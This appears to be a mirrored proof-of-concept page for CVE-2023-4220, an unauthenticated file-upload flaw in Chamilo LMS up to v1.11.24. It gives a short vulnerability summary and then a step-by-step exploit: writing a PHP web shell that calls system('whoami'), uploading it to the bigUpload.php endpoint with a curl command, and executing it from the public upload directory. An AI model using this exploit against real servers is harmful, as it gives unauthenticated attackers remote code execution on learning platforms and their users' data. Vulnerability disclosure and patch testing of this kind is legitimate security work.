Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1000 CNY

100.0%

CVE-2023-4220 PoC — Chamilo LMS 安全漏洞

Source
Associated Vulnerability
Title:Chamilo LMS 安全漏洞 (CVE-2023-4220)
Description:Chamilo LMS是Chamilo协会的一套开源的在线学习和协作系统。该系统支持创建教学内容、远程培训和在线答题等。 Chamilo LMS v1.11.24 版本及之前版本存在安全漏洞,该漏洞源于 “/main/inc/lib/javascript/bigupload/inc/bigUpload.php”页面存在大文件上传功能存在不受限制的文件上传。
Description
Unrestricted file upload in big file upload functionality in `/main/inc/lib/javascript/bigupload/inc/bigUpload.php` in Chamilo LMS <= v1.11.24 allows unauthenticated attackers to perform stored cross-site scripting attacks and obtain remote code execution via uploading of web shell.
Readme
# Chamilo-LMS-Unauthenticated-File-Upload-
Unrestricted file upload in big file upload functionality in `/main/inc/lib/javascript/bigupload/inc/bigUpload.php` in Chamilo LMS &lt;= v1.11.24 allows unauthenticated attackers to perform stored cross-site scripting attacks and obtain remote code execution via uploading of web shell.

### Affected Version ≤v1.11.24

### **CVE Identifier** CVE-2023-4220

## **Vulnerability Summary**

The big file upload functionality by `/main/inc/lib/javascript/bigupload/inc/bigUpload.php` allows arbitrary files to be uploaded to `/main/inc/lib/javascript/bigupload/files` directory within the web root.

### **Proof-of-Concept**

- If `/main/inc/lib/javascript/bigupload/files` directory exist we can upload Arbitrary file as;
- Create a malicious php file `echo '<?php system("whoami"); ?>' > dollarboysushil.php`
	![Untitled (1).png](images/Untitled(1).png)

- We can then upload this file by issuing following command
    
    ```
    `$ curl -F 'bigUploadFile=@dollarboysushil.php' 'http://<website>/main/inc/lib/javascript/bigupload/inc/bigUpload.php?action=post-unsupported'` 
    ```
    ![Untitled (1).png](images/Untitled(2).png)

- We can check our file is uploaded by visiting the `/main/inc/lib/javascript/bigupload/files` directory
    ![Untitled (1).png](images/Untitled(3).png)
		

- And we can execute it by clicking the php file, which gives the output of `whoami` command
		![Untitled (1).png](images/Untitled(4).png)
File Snapshot

[4.0K] /data/pocs/f60ff98631bd97357beeed44027871ce6774e2b0 ├── [4.0K] images │   ├── [ 31K] Untitled(1).png │   ├── [ 28K] Untitled(2).png │   ├── [ 42K] Untitled(3).png │   └── [ 20K] Untitled(4).png └── [1.4K] README.md 1 directory, 5 files
Shenlong Bot has cached this for you
Remarks
    1. It is advised to access via the original source first.
    2. If the original source is unavailable, please email f.jinxu#gmail.com for a local snapshot (replace # with @).
    3. Shenlong has snapshotted the POC code for you. To support long-term maintenance, please consider donating. Thank you for your support.